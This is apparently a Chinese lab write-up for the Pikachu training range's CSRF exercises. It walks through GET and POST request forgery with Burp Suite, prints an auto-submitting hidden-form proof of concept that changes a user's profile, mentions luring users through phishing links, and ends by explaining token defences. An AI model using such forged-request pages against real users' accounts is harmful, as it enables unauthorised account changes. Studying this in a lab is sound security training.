CSRF

文章目录

      • CSRF(get)
      • CSRF(post)
      • CSRF Token

CSRF_第1张图片

CSRF(get)

根据提示的用户信息登录

CSRF_第2张图片

点击修改个人信息

CSRF_第3张图片

CSRF_第4张图片

开启bp代理,点击submit

CSRF_第5张图片

拦截到请求数据包

CSRF_第6张图片

CSRF_第7张图片

浏览器关闭代理

CSRF_第8张图片

刷新页面

CSRF_第9张图片

CSRF(post)

CSRF_第10张图片

使用BP生成CSRF POC

CSRF_第11张图片

post请求伪造,可以通过钓鱼网站,诱导用户去点链接

<html>
  
  <body>
    <form action="http://192.168.80.139/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="woman" />
      <input type="hidden" name="phonenum" value="110110110" />
      <input type="hidden" name="add" value="北京" />
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    script>
  body>
html>

CSRF_第12张图片

CSRF Token

分析一下这个token的作用了。按照前面csrf get的方法,攻击者会伪造一个GET URL去让用户点击。但用户正常提供GET请求时,会把服务器返回的token填入和提交,而攻击者伪造URL时除非前期抓包获取到这个返回的token,否则他是不会知道这个token的。所以攻击者无法构造GET URL。同理,对于POST方法也是一样。所以,使用token是一个很好的防御CSRF攻击的方法。

你可能感兴趣的:(#,Pikachu靶场系列,csrf,前端)